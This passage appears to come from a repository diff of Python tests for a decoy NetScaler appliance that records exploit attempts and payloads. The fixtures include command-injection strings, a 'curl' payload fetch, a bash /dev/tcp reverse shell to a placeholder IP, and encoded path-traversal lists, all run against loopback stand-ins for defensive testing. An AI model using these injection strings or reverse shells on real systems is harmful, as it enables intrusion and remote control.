assert [r['attempts_in_window'] for r in attempts] == list(range(1,13))
assert all(r['peer'] == '127.0.0.1' and r['request_id'] for r in attempts)
alerts = [r for r in rows if r['event'] == 'brute_force_suspected']
assert len(alerts) == 1 and alerts[0]['attempts_in_window'] == 10
state = engine.session('127.0.0.1')
state.auth_started -= 301
engine.auth_attempt(state, {'peer': '127.0.0.1'}, '/nf/auth/doAuthentication.do')
assert rows[-1]['attempts_in_window'] == 1
other = engine.session('192.0.2.1')
engine.auth_attempt(other, {'peer': '192.0.2.1'}, '/nf/auth/doAuthentication.do')
assert rows[-1]['attempts_in_window'] == 1
finally:
server.shutdown()
server.server_close()
thread.join(3)
print('PASS: private per-IP auth detection, spoof rejection, fixed-window reset, unchanged responses')
+75
View File
@@ -0,0 +1,75 @@
"""Run: python3 test_capture.py. Proves every exploit attempt, command and payload is persisted."""
import hashlib
import http.client
import json
import pathlib
import tempfile
import threading
from honeypot import Engine, Server, extract
from evidence import Evidence
def main():
workspace = tempfile.TemporaryDirectory()
evidence = Evidence(workspace.name)
rows = []
def sink(event, **data):
rows.append(dict(event=event, **data))
evidence.emit(event, **data)
engine = Engine(sink, delay=0, save=evidence.save)
server = Server(('127.0.0.1', 0), engine)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
def request(method, path, body=None, headers=None):
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
connection.request(method, path, body=body, headers=headers or {})
response = connection.getresponse()
result = response.status, response.read()
connection.close()
return result
try:
request('GET', '/vpn/../vpns/cfg/smb.conf')
assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
request('GET', '/../../etc/passwd')
assert any(e['event'] == 'exploit_attempt' and 'path-traversal' in e['signatures'] for e in rows)
request('GET', '/flash/nsconfig/ns.conf')
assert any(e['event'] == 'exploit_attempt' and 'config-read' in e['signatures'] for e in rows)
payload = b'\x00\x01MZ-inert-capture-test\xff\xfe' * 100
request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
digest = hashlib.sha256(payload).hexdigest()
assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload')
assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}
assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
== 'curl http://198.51.100.9/a.sh -o /tmp/a'
value = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/cap.txt`;# X'
request('GET', '/', headers={'User-Agent': value})
candidate = next(e for e in reversed(rows) if e['event'] == 'injection_candidate')
assert candidate['command'] == 'id>/netscaler/ns_gui/cap.txt'
engine.tick()
run = next(e for e in rows if e['event'] == 'simulated_command' and e.get('output', '').startswith('uid='))
assert run['argv'] == ['id', '>', '/netscaler/ns_gui/cap.txt'] and run['cwd']
assert any(e['event'] == 'virtual_file_write' for e in rows)
journal = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
kinds = {e['event'] for e in journal}
assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
'simulated_command', 'virtual_file_write'} <= kinds
finally:
server.shutdown()
server.server_close()
thread.join(3)
evidence.close()
workspace.cleanup()
print('PASS: exploit attempts, exact payload bytes and simulated commands are all persisted')
if __name__ == '__main__':
main()
+40
View File
@@ -0,0 +1,40 @@
"""Run: python3 test_client_ip.py. Real client IP is trusted only from configured proxy hops."""
import http.client
import threading
from honeypot import Engine, Server
from trusted_proxy import forwarded_client
assert forwarded_client({'CF-Connecting-IP': '8.8.8.8'}) == ('8.8.8.8', 'CF-Connecting-IP')
assert forwarded_client({'CF-Connecting-IP': '10.0.0.1', 'X-Forwarded-For': '1.1.1.1'}) == ('1.1.1.1', 'X-Forwarded-For')
assert forwarded_client({'X-Forwarded-For': '10.0.0.1, 9.9.9.9, 10.0.0.2'}) == ('9.9.9.9', 'X-Forwarded-For')
assert forwarded_client({'CF-Connecting-IP': 'not-an-ip'}) == (None, None)
assert forwarded_client({}) == (None, None)
def run(trusted):
rows = []
engine = Engine(lambda event, **data: rows.append(dict(event=event, **data)), delay=0)
server = Server(('127.0.0.1', 0), engine, trusted_forwarded=trusted)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
try:
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
connection.request('GET', '/', headers={'CF-Connecting-IP': '8.8.8.8',
'X-Forwarded-For': '10.0.0.1, 1.1.1.1'})
assert connection.getresponse().status == 200
connection.close()
finally:
server.shutdown()
server.server_close()
thread.join(3)
return next(row for row in rows if row['event'] == 'request')
# Untrusted hop: the spoofable header is ignored and the socket peer is authoritative.
assert run(()).get('peer') == '127.0.0.1'
# Trusted hop (loopback stands in for the edge proxy): the real client IP wins, proxy is retained.
request = run(('127.0.0.0/8',))
assert request['peer'] == '8.8.8.8' and request['client_ip_source'] == 'CF-Connecting-IP'
assert request['proxy_peer'] == '127.0.0.1'
print('PASS: forwarded client IP trusted only from configured proxies; spoofing rejected')
+184
View File
@@ -0,0 +1,184 @@
"""Run: python3 test_honeypot.py (loopback only, no third-party dependencies)."""
import http.client
import hashlib
import json
import pathlib
import socket
import stat
import tempfile
import threading
import urllib.parse
from honeypot import Engine, Server, MAX_BODY, MAX_PENDING, extract, simulate
from evidence import Evidence
def main():
events = []
workspace = tempfile.TemporaryDirectory()
evidence = Evidence(workspace.name)
def emit(event, **data):
events.append(dict(event=event, **data))
evidence.emit(event, **data)
engine = Engine(emit, delay=0, save=evidence.save)
server = Server(('127.0.0.1', 0), engine)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
def request(method, path, body=None, headers=None):
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
connection.request(method, path, body=body, headers=headers or {})
response = connection.getresponse()
result = response.status, response.read()
connection.close()
return result
try:
assert request('GET', '/')[0] == 200
# Benign local marker through documented login field; no real commands execute.
value = 'pitboss PPE unexpectedly died NSPPE;`id>/netscaler/ns_gui/probe.txt`;# X'
body = urllib.parse.urlencode({'login': value, 'passwd': 'synthetic'})
assert request('POST', '/nf/auth/doAuthentication.do', body,
{'Content-Type': 'application/x-www-form-urlencoded'})[0] == 200
assert request('GET', '/probe.txt')[0] == 404 # deferred until log pickup
engine.tick()
status, content = request('GET', '/probe.txt')
assert status == 200 and b'uid=0(root)' in content
assert any(e['event'] == 'virtual_file_write' for e in events)
# Public write-up names User-Agent as a log source; use its shape with a local harmless marker.
ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/ua-probe.txt`;# X'
assert request('GET', '/', headers={'User-Agent': ua})[0] == 200
candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate')
assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua
assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0
assert request('GET', '/ua-probe.txt')[0] == 404
engine.tick()
status, content = request('GET', '/ua-probe.txt')
assert status == 200 and b'uid=0(root)' in content
write = next(e for e in events if e['event'] == 'virtual_file_write' and e['path'].endswith('/ua-probe.txt'))
assert write['request_id'] == candidate['request_id'] and write['session'] == candidate['session']
assert write['peer'] == candidate['peer'] and write['peer_port'] == candidate['peer_port']
assert request('GET', '/../../etc/passwd')[0] == 404
assert request('POST', '/', headers={'Content-Length': str(MAX_BODY + 1)})[0] == 413
assert request('POST', '/', b'0\r\n\r\n', {'Transfer-Encoding': 'chunked', 'Content-Length': '5'})[0] == 400
assert extract('ordinary login') is None
assert extract('pitboss: NSPPE-00 (12345) unexpectedly died') is None
state = engine.session('127.0.0.1')
with tempfile.TemporaryDirectory() as directory:
marker = pathlib.Path(directory) / 'must-not-exist'
simulate(state, f'echo harmless > {marker}', engine.emit)
assert not marker.exists() and state.files[str(marker)] == 'harmless\n'
simulate(state, 'curl https://example.invalid/payload', engine.emit)
assert events[-2]['event'] == 'outbound_attempt'
other = engine.session('192.0.2.1')
assert '/netscaler/ns_gui/probe.txt' not in other.files
engine.ingest(state, [('header:User-Agent', value)] * (MAX_PENDING + 5))
assert len(state.pending) == MAX_PENDING
assert any(e['event'] == 'limit' for e in events)
payload = b'\x00\xffMZ-inert-test-fixture\r\n\x00'
assert request('PUT', '/sample.bin', payload, {'Content-Type': 'application/octet-stream'})[0] == 404
digest = hashlib.sha256(payload).hexdigest()
artifact = pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')
assert artifact.read_bytes() == payload
assert stat.S_IMODE(artifact.stat().st_mode) == 0o600
multipart = (b'--testboundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n'
b'Content-Type: application/octet-stream\r\n\r\n' + payload + b'\r\n--testboundary--\r\n')
assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=testboundary'})[0] == 404
upload = next(e for e in events if e['event'] == 'upload')
assert upload['filename'] == '../../escape.bin' and upload['evidence']['sha256'] == digest
assert upload['peer'] == '127.0.0.1' and upload['peer_port'] > 0
assert not (pathlib.Path(workspace.name) / 'escape.bin').exists()
def raw_request(raw):
with socket.create_connection(('127.0.0.1', server.server_port), timeout=3) as connection:
connection.sendall(raw)
connection.shutdown(socket.SHUT_WR)
result = bytearray()
while chunk := connection.recv(65536):
result.extend(chunk)
return bytes(result)
raw = (b'POST /upload HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n'
b'Transfer-Encoding: chunked\r\n\r\n'
+ hex(len(payload))[2:].encode() + b'\r\n' + payload + b'\r\n0\r\nX-Test: trailer\r\n\r\n')
assert b'404' in raw_request(raw).split(b'\r\n')[0]
wire_digest = hashlib.sha256(raw).hexdigest()
# Wait for finally-recorded evidence after the response has closed.
assert (pathlib.Path(workspace.name) / 'artifacts' / (wire_digest + '.bin')).read_bytes() == raw
assert b'200' in raw_request(b'CUSTOM / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n').split(b'\r\n')[0]
assert b'400' in raw_request(b'not-http\r\n')
partial = b'PUT / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 10\r\n\r\nabc'
assert b'400' in raw_request(partial)
partial_hash = hashlib.sha256(partial).hexdigest()
assert (pathlib.Path(workspace.name) / 'artifacts' / (partial_hash + '.bin')).exists()
writes = [e for e in events if e['event'] == 'virtual_file_write' and 'request_id' in e]
assert writes and writes[0]['peer'] == '127.0.0.1'
assert any(e['event'] == 'request' and e['request_id'] == writes[0]['request_id'] for e in events)
rows = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
assert all('timestamp' in row and 'time_ns' in row for row in rows)
tiny = Evidence(pathlib.Path(workspace.name) / 'quota-test', quota=3)
try:
tiny.save(b'abc')
try:
tiny.save(b'over quota')
raise AssertionError('quota not enforced')
except OSError:
pass
assert tiny.save(b'abc')['bytes'] == 3 # dedup still works at quota
finally:
tiny.close()
failing_store = Evidence(pathlib.Path(workspace.name) / 'stop-test', quota=1)
failing_server = Server(('127.0.0.1', 0), Engine(failing_store.emit, save=failing_store.save))
failing_thread = threading.Thread(target=failing_server.serve_forever, daemon=True)
failing_thread.start()
try:
with socket.create_connection(('127.0.0.1', failing_server.server_port), timeout=3) as connection:
connection.sendall(b'GET / HTTP/1.0\r\n\r\n')
try:
connection.recv(1024)
except ConnectionResetError:
pass
failing_thread.join(timeout=3)
assert failing_server.capture_failed and not failing_thread.is_alive()
finally:
failing_server.shutdown()
failing_server.server_close()
failing_store.close()
# Hidden guest files still allow intake/execution and evidence capture, without a guest read.
server.serve_guest_files = False
assert request('GET', '/probe.txt') == (404, b'Not Found') # existing simulated file
class FakeBackend:
def __init__(self):
self.reads, self.uploads, self.executions = [], [], []
def register_peer(self, peer):
assert peer == '127.0.0.1'
def read(self, path, context):
self.reads.append(path)
return b'existing-guest-file'
def upload(self, data, context):
self.uploads.append((data, context.copy()))
def execute(self, command, context):
self.executions.append((command, context.copy()))
fake = FakeBackend()
engine.backend = fake
engine.tick() # drain the earlier queue-limit fixture
assert request('GET', '/probe.txt') == (404, b'Not Found')
assert request('GET', '/')[0] == 200 and request('GET', '/favicon.ico')[0] == 200
hidden_ua = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/hidden.txt`;# X'
assert request('GET', '/hidden.txt', headers={'User-Agent': hidden_ua}) == (404, b'Not Found')
candidate = next(e for e in reversed(events) if e['event'] == 'injection_candidate')
assert candidate['source'] == 'header:User-Agent'
engine.tick()
execution = next(item for item in fake.executions if item[0] == 'id>/netscaler/ns_gui/hidden.txt')
assert execution[1]['request_id'] == candidate['request_id']
assert request('PUT', '/hidden.bin', payload, {'Content-Type': 'application/octet-stream'}) == (404, b'Not Found')
assert fake.uploads[-1][0] == payload and artifact.read_bytes() == payload
assert not fake.reads
engine.backend = None
print('PASS: simulated flow, binary/multipart/chunked evidence, source correlation, quotas, hidden guest files with intake preserved')
finally:
server.shutdown()
server.server_close()
thread.join(timeout=3)
evidence.close()
workspace.cleanup()
if __name__ == '__main__':
main()
+50
View File
@@ -0,0 +1,50 @@
"""Loopback-only PROXY metadata and binary stream regression."""
import asyncio
from ingress_proxy import forward
async def test():
received = []
async def backend(reader, writer):
received.append(await reader.readline())
payload = await reader.readexactly(5)
writer.write(payload[::-1])
await writer.drain()
writer.close()
backend_server = await asyncio.start_server(backend, '127.0.0.1', 0)
async def ingress(reader, writer):
await forward(reader, writer, '127.0.0.1', backend_server.sockets[0].getsockname()[1])
proxy = await asyncio.start_server(ingress, '127.0.0.1', 0)
reader, writer = await asyncio.open_connection('127.0.0.1', proxy.sockets[0].getsockname()[1])
source_port = writer.get_extra_info('sockname')[1]
writer.write(b'\x00\xffabc')
await writer.drain()
writer.write_eof()
assert await reader.read() == b'cba\xff\x00'
assert received == [f'PROXY TCP4 127.0.0.1 127.0.0.1 {source_port} {proxy.sockets[0].getsockname()[1]}\r\n'.encode()]
writer.close()
proxy.close()
backend_server.close()
await proxy.wait_closed()
await backend_server.wait_closed()
asyncio.run(test())
print('ingress proxy regression passed')
import socket
from trusted_proxy import source
left, right = socket.socketpair()
try:
right.sendall(b'PROXY TCP4 192.0.2.10 192.0.2.20 12345 8443\r\nTLS')
peer, header = source(left, ('10.0.2.2', 123), '10.0.2.2')
assert peer == ('192.0.2.10', 12345) and left.recv(3) == b'TLS'
try:
source(left, ('192.0.2.99', 123), '10.0.2.2')
raise AssertionError('untrusted peer accepted')
except ValueError:
pass
finally:
left.close()
right.close()
print('trusted PROXY parser regression passed')
+100
View File
@@ -0,0 +1,100 @@
"""Offline tests: fixture sockets only; no external connections."""
import json
import os
import pathlib
import socket
import struct
import tempfile
import threading
from unittest.mock import patch
from types import SimpleNamespace
import network_capture as net
from evidence import Evidence
def run():
for address in ['127.0.0.1', '10.0.0.1', '169.254.169.254', '192.168.1.1', '224.0.0.1', '0.0.0.0', '100.64.0.1', '192.0.2.1', '::1']:
try:
net.public_ip(address)
raise AssertionError(address)
except ValueError:
pass
assert net.public_ip('8.8.8.8') == '8.8.8.8'
with tempfile.TemporaryDirectory() as tmp:
net.STOP = pathlib.Path(tmp) / 'STOP'
peers = pathlib.Path(tmp) / 'peers.json'
peers.write_text(json.dumps(['10.0.0.1', '8.8.8.8', 'bad', '127.0.0.1', 134744072]))
peers.chmod(0o600)
actual_stat = os.stat(peers)
# Root ownership is mocked only for this unit check on unprivileged Macs.
with patch.object(net.os, 'fstat', return_value=SimpleNamespace(
st_mode=actual_stat.st_mode, st_uid=0, st_mtime=actual_stat.st_mtime)):
assert net.allowed_peers(peers) == {'8.8.8.8'}
evidence = Evidence(pathlib.Path(tmp) / 'evidence')
server = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers=str(pathlib.Path(tmp) / 'absent'))
worker = threading.Thread(target=server.serve_forever, daemon=True)
worker.start()
original_connect = socket.create_connection
outgoing = []
def fixture_connect(destination, timeout=None, **kwargs):
assert destination == ('8.8.8.8', 80), destination
outgoing.append(destination)
broker_end, fixture_end = socket.socketpair()
def echo():
with fixture_end:
while True:
data = fixture_end.recv(16384)
if not data:
break
fixture_end.sendall(data)
threading.Thread(target=echo, daemon=True).start()
return broker_end
with patch.object(net.socket, 'create_connection', fixture_connect):
with original_connect(server.server_address, timeout=3) as client:
net.send_message(client, {'op': 'connect', 'ip': '127.0.0.1', 'port': 80})
assert not net.read_message(client)['ok']
with original_connect(server.server_address, timeout=3) as client:
net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 4444})
assert not net.read_message(client)['ok']
with original_connect(server.server_address, timeout=3) as client:
net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80})
assert net.read_message(client)['ok']
payload = b'\x00malware-fixture\xff\r\n'
client.sendall(payload)
data = b''
while len(data) < len(payload):
data += client.recv(1024)
assert data == payload
client.shutdown(socket.SHUT_WR)
assert client.recv(1) == b''
assert len(outgoing) == 1
server.shutdown()
server.server_close()
rows = [json.loads(line) for line in (evidence.directory / 'events.jsonl').read_text().splitlines()]
chunks = [r for r in rows if r['event'] == 'network_chunk']
assert {r['direction'] for r in chunks} == {'guest_to_remote', 'remote_to_guest'}
for row in chunks:
assert (evidence.directory / row['artifact']).read_bytes() == payload
assert row['time_ns'] and row['connection_id']
# DNS parser rejects malformed/compressed questions; AAAA returns no answer.
assert net.dns_reply(b'bad', ('unused', 0)) is None
question = struct.pack('!6H', 7, 0x100, 1, 0, 0, 0) + b'\x07example\x03com\0' + struct.pack('!HH', 28, 1)
reply = net.dns_reply(question, ('unused', 0))
assert struct.unpack('!6H', reply[:12])[3] == 0
# Capturing failure closes streams before further forward and persists STOP.
evidence.quota = evidence.used
failing = net.Server(('127.0.0.1', 0), net.Broker, evidence=evidence, peers='absent')
threading.Thread(target=failing.serve_forever, daemon=True).start()
with original_connect(failing.server_address, timeout=3) as client:
net.send_message(client, {'op': 'connect', 'ip': '8.8.8.8', 'port': 80})
assert client.recv(1) == b''
assert net.STOP.exists() and failing.failed.is_set()
failing.shutdown()
failing.server_close()
evidence.close()
print('network capture offline checks passed')
if __name__ == '__main__':
run()
+148
View File
@@ -0,0 +1,148 @@
"""Collector-only live regression; stop decoy-network first, restart it afterward.
Both destinations are harmless in-process loopback fixtures. No external connections.
Exercises VM223 bash TCP reverse shell and HTTP download through the real guest relay.
"""
import hashlib
import json
import pathlib
import shlex
import socket
import subprocess
import tempfile
import threading
import time
from unittest.mock import patch
import network_capture as net
from evidence import Evidence
FIXTURE_IP = '198.51.100.10'
def run():
if not pathlib.Path('/etc/decoy-collector').is_file():
raise SystemExit('Run only in the dedicated collector VM222')
root = pathlib.Path(tempfile.mkdtemp(prefix='network-live-', dir='/var/lib/decoy'))
evidence = Evidence(root / 'evidence')
commands = b"printf 'DECOY_REVERSE_SHELL_OK\\n'; id; exit\n"
payload = b'\x00DECOY_HARMLESS_DOWNLOAD_FIXTURE\xff\r\n' + bytes(range(256))
response = (b'HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n'
b'Connection: close\r\nContent-Length: ' + str(len(payload)).encode() + b'\r\n\r\n' + payload)
captured = {}
failures = []
listeners = {}
threads = []
for port in (4444, 80):
listener = socket.socket()
listener.bind(('127.0.0.1', 0))
listener.listen(1)
listener.settimeout(20)
listeners[port] = listener
def serve(port):
try:
with listeners[port].accept()[0] as conn:
conn.settimeout(15)
data = bytearray()
if port == 4444:
conn.sendall(commands)
conn.shutdown(socket.SHUT_WR)
while True:
chunk = conn.recv(16384)
if not chunk:
break
data.extend(chunk)
else:
while b'\r\n\r\n' not in data:
chunk = conn.recv(16384)
if not chunk:
raise AssertionError('fixture request ended early')
data.extend(chunk)
if len(data) > 65536:
raise AssertionError('oversized fixture request')
conn.sendall(response)
captured[port] = bytes(data)
except BaseException as exc:
failures.append(exc)
original_connect = socket.create_connection
original_public = net.public_ip
def fixture_connect(destination, *args, **kwargs):
if destination[0] != FIXTURE_IP or destination[1] not in listeners:
raise AssertionError(f'unexpected destination: {destination!r}')
return original_connect(listeners[destination[1]].getsockname(), *args, **kwargs)
def fixture_public(address):
return FIXTURE_IP if address == FIXTURE_IP else original_public(address)
def ssh(command):
return subprocess.run(['ssh', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5',
'decoy-execution', command], capture_output=True,
timeout=30, check=True).stdout
server = None
guest_file = '/var/tmp/decoy-network-live-' + root.name
try:
with patch.object(net, 'STOP', root / 'STOP'), \
patch.object(net, 'public_ip', fixture_public), \
patch.object(net, 'allowed_peers', return_value={FIXTURE_IP}), \
patch.object(net.socket, 'create_connection', fixture_connect):
server = net.Server(('0.0.0.0', 19090), net.Broker,
evidence=evidence, peers=str(root / 'unused'))
threading.Thread(target=server.serve_forever, daemon=True).start()
for port in listeners:
thread = threading.Thread(target=serve, args=(port,), daemon=True)
thread.start()
threads.append(thread)
script = f'exec /bin/bash -i >& /dev/tcp/{FIXTURE_IP}/4444 0>&1'
ssh('/bin/bash -c ' + shlex.quote(script))
digest = hashlib.sha256(payload).hexdigest()
got = ssh("curl --noproxy '*' --connect-timeout 5 --max-time 15 -fsS -o " +
shlex.quote(guest_file) + f' http://{FIXTURE_IP}/fixture.bin && sha256sum ' +
shlex.quote(guest_file)).decode().split()[0]
assert got == digest, (got, digest)
for thread in threads:
thread.join(5)
assert not thread.is_alive(), 'fixture did not finish'
assert not failures, failures
assert b'DECOY_REVERSE_SHELL_OK' in captured[4444]
assert b'uid=0(root)' in captured[4444]
assert captured[80].startswith(b'GET /fixture.bin HTTP/1.1\r\n')
deadline = time.monotonic() + 5
while True:
rows = [json.loads(line) for line in
(evidence.directory / 'events.jsonl').read_text().splitlines()]
if sum(r['event'] == 'network_end' for r in rows) == 2:
break
assert time.monotonic() < deadline, 'broker streams did not finish'
time.sleep(0.05)
connections = {r['destination_port']: r['connection_id'] for r in rows
if r['event'] == 'network_connected'}
assert set(connections) == {80, 4444}, connections
for port, cid in connections.items():
chunks = sorted((r for r in rows if r['event'] == 'network_chunk' and
r['connection_id'] == cid), key=lambda r: r['sequence'])
def stream(direction):
return b''.join((evidence.directory / r['artifact']).read_bytes()
for r in chunks if r['direction'] == direction)
assert all(r['forwarded'] and r['time_ns'] for r in chunks)
assert stream('guest_to_remote') == captured[port]
assert stream('remote_to_guest') == (commands if port == 4444 else response)
assert not server.failed.is_set()
finally:
if server is not None:
server.shutdown()
server.server_close()
for listener in listeners.values():
listener.close()
try:
ssh('rm -f -- ' + shlex.quote(guest_file))
finally:
evidence.close()
print(f'LIVE PASS: real guest reverse shell + binary download; exact bidirectional evidence at {root}')
if __name__ == '__main__':
run()
+103
View File
@@ -0,0 +1,103 @@
"""Run: python3 test_payload_fetch.py. Local fixtures only; no real outbound connections."""
import http.server
import pathlib
import threading
import time
from payload_fetch import Fetcher, extract_urls, public_addresses
# Static guarantee: the fetcher has no way to execute or pipe anything.
SOURCE = (pathlib.Path(__file__).parent / 'payload_fetch.py').read_text()
for forbidden in ('subprocess', 'os.system', 'os.popen', 'eval(', 'exec(', '__import__', 'pty.'):
assert forbidden not in SOURCE, 'payload_fetch contains ' + forbidden
assert extract_urls('curl http://evil.example/a.sh -o /tmp/a; wget https://x.example/b') == [
'http://evil.example/a.sh', 'https://x.example/b']
assert extract_urls('echo hi | bash') == []
assert extract_urls('curl http://evil/a|bash') == ['http://evil/a']
for blocked in ('127.0.0.1', '169.254.169.254', '10.0.0.1', '192.168.1.1', '::1'):
try:
public_addresses(blocked)
raise AssertionError(blocked)
except ValueError:
pass
PAYLOAD = b'\x00MZ-inert-download\xff' * 64
class Fixture(http.server.BaseHTTPRequestHandler):
def log_message(self, *args):
pass
def do_GET(self):
if self.path == '/redirect':
self.send_response(302)
self.send_header('Location', '/payload')
self.end_headers()
elif self.path == '/big':
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.end_headers()
self.wfile.write(b'A' * 4096)
else:
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.end_headers()
self.wfile.write(PAYLOAD)
def main():
server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), Fixture)
port = server.server_port
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
rows = []
try:
fetcher = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=1024 * 1024)
base = f'http://127.0.0.1:{port}'
ctx = {'peer': '8.8.8.8', 'request_id': 'req-1'}
# exact bytes stored, correlated context preserved
fetcher._fetch(base + '/payload', ctx)
download = rows[-1]
assert download['event'] == 'payload_download' and download['content'] == PAYLOAD
assert download['peer'] == '8.8.8.8' and download['request_id'] == 'req-1'
assert download['status'] == 200 and download['truncated'] is False
# redirects are followed through the same validated resolver
fetcher._fetch(base + '/redirect', ctx)
assert rows[-1]['event'] == 'payload_download' and rows[-1]['url'].endswith('/payload')
# size cap marks truncation
small = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=256)
small._fetch(base + '/big', ctx)
assert rows[-1]['truncated'] is True and len(rows[-1]['content']) == 256
# non-allowed port is rejected before any socket is opened
strict = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
resolver=lambda host: ['127.0.0.1'], ports=(80, 443))
try:
strict._fetch(base + '/payload', ctx)
raise AssertionError('non-allowed port accepted')
except ValueError:
pass
# submit runs in background and stores the asset
before = len(rows)
fetcher.submit(f'wget {base}/payload -O /tmp/x', ctx)
for _ in range(50):
if any(r['event'] == 'payload_download' for r in rows[before:]):
break
time.sleep(0.05)
assert any(r['event'] == 'payload_download' for r in rows[before:])
finally:
server.shutdown()
server.server_close()
thread.join(3)
print('PASS: payload fetcher downloads and stores assets, blocks private/ports, never executes')
if __name__ == '__main__':
main()
+57
View File
@@ -0,0 +1,57 @@
#!/usr/bin/env python3
"""Harmless path checks against the local tunnel to the decoy; no payload execution."""
import argparse
import http.client
import ipaddress
import urllib.parse
PATHS = (
'/reports', '/reports/', '/admin', '/admin/', '/dashboard', '/evidence', '/evidence/',
'/logs', '/logs/', '/logs/events.jsonl', '/events.jsonl', '/artifacts/',
'/artifacts/' + '0' * 64 + '.bin', '/http/events.jsonl', '/network/events.jsonl',
'/var/lib/decoy/http/events.jsonl', '/var/lib/decoy/network/events.jsonl',
'/opt/decoy/honeypot.py', '/honeypot.py', '/evidence.py', '/vm_backend.py', '/guest.py',
'/network_capture.py', '/ui/sources.json', '/README.md',
'/../var/lib/decoy/http/events.jsonl', '/../../var/lib/decoy/http/events.jsonl',
'/%2e%2e/%2e%2e/var/lib/decoy/http/events.jsonl',
'/%2e%2e%2f%2e%2e%2fvar%2flib%2fdecoy%2fhttp%2fevents.jsonl',
'/%252e%252e%252fvar%252flib%252fdecoy%252fhttp%252fevents.jsonl',
'/..%5c..%5cvar%5clib%5cdecoy%5chttp%5cevents.jsonl',
'//var/lib/decoy/http/events.jsonl', '/logs/../events.jsonl', '/logs%00/events.jsonl',
)
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('--url', required=True, help='HTTP loopback tunnel URL')
args = parser.parse_args()
url = urllib.parse.urlsplit(args.url)
if url.scheme != 'http' or url.username or url.password or url.query or url.fragment:
parser.error('use an HTTP loopback tunnel URL without credentials or query')
try:
loopback = ipaddress.ip_address(url.hostname).is_loopback
except ValueError:
loopback = url.hostname == 'localhost'
if not loopback or url.path not in ('', '/'):
parser.error('test is restricted to the loopback tunnel root')
def request(path):
conn = http.client.HTTPConnection(url.hostname, url.port or 80, timeout=25)
try:
conn.request('GET', path)
response = conn.getresponse()
body = response.read(131073)
assert len(body) <= 131072, 'unexpected large response for ' + path
return response.status, body
finally:
conn.close()
status, body = request('/')
assert status == 200 and b'<html' in body.lower(), 'decoy UI unavailable'
for path in PATHS:
status, body = request(path)
assert status == 404, f'private path returned {status}: {path}'
assert body == b'Not Found', 'unexpected content at private path: ' + path
print(f'PASS: NetScaler UI available; {len(PATHS)} private/report/evidence/source/traversal paths return plain404')
if __name__ == '__main__':
main()
+52
View File
@@ -0,0 +1,52 @@
"""Offline reset guards; no Proxmox commands or VM mutation."""
import importlib.util
import pathlib
import tempfile
import hashlib
spec = importlib.util.spec_from_file_location('reset', pathlib.Path(__file__).parent / 'deploy/reset-execution.py')
reset = importlib.util.module_from_spec(spec)
spec.loader.exec_module(reset)
config = ('name: decoy-execution\nscsi0: local-lvm:vm-223-disk-0,size=12G\n'
'args: -netdev user,id=decoy,restrict=on -object filter-dump,file=/var/lib/vz/honeypot/execution.pcap\n')
reset.valid_config(config)
for bad in (config.replace('decoy-execution', 'onionatlas'), config.replace('restrict=on', 'restrict=off'), config + 'net0: virtio,bridge=vmbr0\n'):
try:
reset.valid_config(bad)
raise AssertionError('unsafe config accepted')
except RuntimeError:
pass
with tempfile.TemporaryDirectory() as temporary:
reset.ROOT = pathlib.Path(temporary)
reset.ARCHIVES = reset.ROOT / 'archives'
reset.ARCHIVES.mkdir()
reset.RESERVE = 0
reset.bounds = lambda min_free=0: None
file = reset.ARCHIVES / 'evidence'
reset.write_file(file, b'inert')
try:
reset.write_file(file, b'overwrite')
raise AssertionError('evidence overwritten')
except FileExistsError:
pass
assert reset.digest(file) == hashlib.sha256(b'inert').hexdigest()
print('PASS: reset identity/isolation guards, exclusive evidence writes and hashes')
# Reset restores only the public CA authorization; idempotent and valid newlines.
with tempfile.TemporaryDirectory() as temporary:
reset.ROOT = pathlib.Path(temporary)
line = 'cert-authority,principals="decoy-admin",restrict,pty ssh-ed25519 AAAATEST public-ca-test'
